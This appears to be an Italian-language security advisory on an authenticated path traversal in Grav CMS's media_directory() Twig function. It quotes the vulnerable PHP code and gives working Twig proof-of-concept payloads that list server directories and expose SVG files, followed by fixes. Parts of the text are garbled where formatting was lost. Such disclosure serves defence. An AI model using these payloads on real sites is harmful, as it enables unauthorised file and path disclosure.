
Avviso tecnico che descrive una vulnerabilità di path traversal autenticata nella funzione Twig `media_directory()` di Grav CMS, che consente l'enumerazione arbitraria delle directory e la divulgazione dei percorsi del filesystem.
media_directory()Nome: CYBER-SEC
Contatto: [email protected]
La funzione Twig media_directory() di Grav è esposta nella allowlist della sandbox Twig del contenuto delle pagine, ma non applica correttamente il contenimento dei percorsi per input non-stream.
Un utente autenticato con privilegi di modifica delle pagine può chiamare media_directory('/percorso/assoluto') o utilizzare traversal relativo come media_directory('../../../../percorso') all'interno del contenuto delle pagine abilitate a Twig. Grav indicizza quindi i file di tipo media dalle directory leggibili dall'utente del server web.
Gli oggetti Medium restituiti espongono proprietà consentite dalla sandbox come e , con conseguente enumerazione arbitraria delle directory e divulgazione dei percorsi assoluti del filesystem. Per i file immagine/SVG, la generazione di URL o cache può esporre i file tramite la gestione pubblica della cache di Grav.
filepathfilenameSi tratta di una vulnerabilità di divulgazione di informazioni autenticata. Non è noto che consenta sfruttamento non autenticato o esecuzione diretta di codice remoto.
Prodotto: CMS flat-file Grav
Repository: https://github.com/getgrav/grav
Versioni interessate verificate: 2.0.3, 2.0.4, 2.0.6
Componente: Twig media_directory() / sandbox Twig del contenuto delle pagine di Grav
Vettore: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Punteggio Base: 6.5 Medio
Il sink vulnerabile si trova in:
system/src/Grav/Common/Twig/Extension/GravExtension.php
Logica rilevante:
public function mediaDirFunc($media_dir)
{
$locator = $this->grav['locator'];
if ($locator->isStream($media_dir)) {
$media_dir = $locator->findResource($media_dir);
}
if ($media_dir && file_exists($media_dir)) {
return new Media($media_dir);
}
return null;
}
Solo gli input stream:// vengono risolti tramite il locator di Grav. I percorsi assoluti o relativi non-stream vengono passati così come sono a new Media($media_dir) senza validazione canonica realpath(), rifiuto del traversal o contenimento nelle directory controllate da Grav approvate.
La funzione è esposta tramite la allowlist della sandbox Twig del contenuto delle pagine:
system/config/security.yaml
allowed_functions:
- media_directory
La sandbox consente inoltre metodi/proprietà Medium come:
filepath
filename
url
cache
resize
Ciò consente a un editor di pagine autenticato di divulgare nomi di file e percorsi assoluti da directory leggibili arbitrarie. Per i file immagine/SVG, la generazione pubblica di URL/cache può esporre il contenuto del file.
Con l'elaborazione del contenuto Twig abilitata, creare o modificare una pagina Grav e inserire:
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
Forma con traversal:
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
Esempio di esposizione immagine/SVG:
{{ media_directory('/percorso/assoluto/verso/privato')['secret.svg'].url }}
Quando la pagina viene salvata e renderizzata, Grav indicizza i file dal percorso controllato dall'attaccante ed espone nomi di file e percorsi assoluti del filesystem.
Verificato su Grav 2.0.6 utilizzando l'immagine Docker linuxserver/grav:latest.
I risultati osservati includevano:
LICENSE.txt => /app/www/public/LICENSE.txt
composer.json => /app/www/public/composer.json
robots.txt => /app/www/public/robots.txt
now.json => /app/www/public/now.json
È stato confermato anche il traversal relativo:
../../../../app/www/public
L'esposizione di file SVG tramite .url è stata inoltre confermata in un ambiente di test locale controllato.
Un editor di pagine autenticato può:
Questa vulnerabilità è di classe divulgativa e non deve essere segnalata come esecuzione di codice remoto.
Correzioni raccomandate:
media_directory dalla allowlist della sandbox Twig del contenuto delle pagine.oppure:
media_directory():realpath().user://pages, user://images o altre directory media esplicitamente approvate.Questo problema è stato segnalato da CYBER-SEC.